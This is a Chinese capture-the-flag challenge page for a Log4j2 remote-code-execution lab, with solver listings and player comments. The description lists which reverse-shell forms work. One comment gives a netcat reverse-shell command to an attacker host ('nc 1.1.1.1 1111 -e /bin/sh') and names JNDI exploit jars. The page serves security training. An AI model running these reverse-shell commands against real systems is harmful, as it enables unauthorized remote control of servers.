Apache Log4j2 RCEWEB 未解决
分数:
25
金币:
3
题目作者:
云牧青
一 血:
yeedo
一血奖励:
8金币
解 决:
539
提 示:
人太多了服务器性能有点满了，启动不起来的 过一会再启动就可以了。
描 述:
/bin/bash：x ；
/bin/sh √ ;
/dev/tcp × ；
nc -e x ;
nc a.cc 1234 -e √ ;
评分(6)
解题动态
xshzgjshpy 攻破了该题 3天前
admit 攻破了该题 4天前
1kuzus 攻破了该题 12天前
0cu1ux 攻破了该题 19天前
365days 攻破了该题 21天前
592174532 攻破了该题 23天前
blueboat 攻破了该题 29天前
kukuqi666 攻破了该题 1月前
mantou 攻破了该题 2月前
admin999 攻破了该题 2月前
19957910119 攻破了该题 3月前
Bug@Bug 攻破了该题 3月前
liusongxn 攻破了该题 3月前
lllyh 攻破了该题 4月前
Ch3ss 攻破了该题 4月前
bugtest 攻破了该题 4月前
Darling九茗 攻破了该题 5月前
MikuHacker 攻破了该题 5月前
hackerbugku 攻破了该题 5月前
评论
admin999 2月前
举报
我这个内网穿透免费的只有udp通道，但是nc的时候用udp会报错，后面买了阿里云一次过
daye8ku 6月前
举报
dnslog成功了，其余是真不行
KKsama 6月前
举报
白嫖阿里云服务器一年 https://university.aliyun.com/
TTONya 6月前
举报
注意几点 1. 题目说了不能用用bash，所以我们构造的payload不能有bash相关的命令，要全部换为sh 2. 同样的，题目说了-e选项要放到后面，所以这里同样也要放到后面，示例命令 nc 1.1.1.1 1111 -e /bin/sh 3. 注意攻击机的jdk版本，尽量使用java8，刚开始我用java17跑了好几遍没通 希望对大家有帮助
tingsi464 8月前
举报
不买个虚拟主机还真难搞这个
VFlame 9月前
举报
反弹shell不成功，用vps开JNDIExploit-1.2-SNAPSHOT.jar，JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar，都没有反弹shell回来
lotuswhite 1年前
举报
不知道为什么，作者大大wp里的JNDIExploit-1.2-SNAPSHOT.jar反弹shell不成功，但是百度大佬wp里的JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar成功了。我的6金币呜呜
genius4282 2年前
举报
裂开，不如自己搭建个本地的复现效率高，同样的步骤，在这里就搞不了还麻烦
ctfliu 2年前
举报
不懂，跟着流程走的。阿里云开启虚拟linux，在安全组规则放开所有端口。根据别人的wp走就行。
xiaopengy 2年前
举报
请问反弹shell的时候vps端为什么报这个错？ 我的vps机是kali的系统。 java.lang.IllegalAccessError: superclass access check failed: class com.feihong.ldap.template.TomcatEchoTemplate (in unnamed module @0x5e91993f) cannot access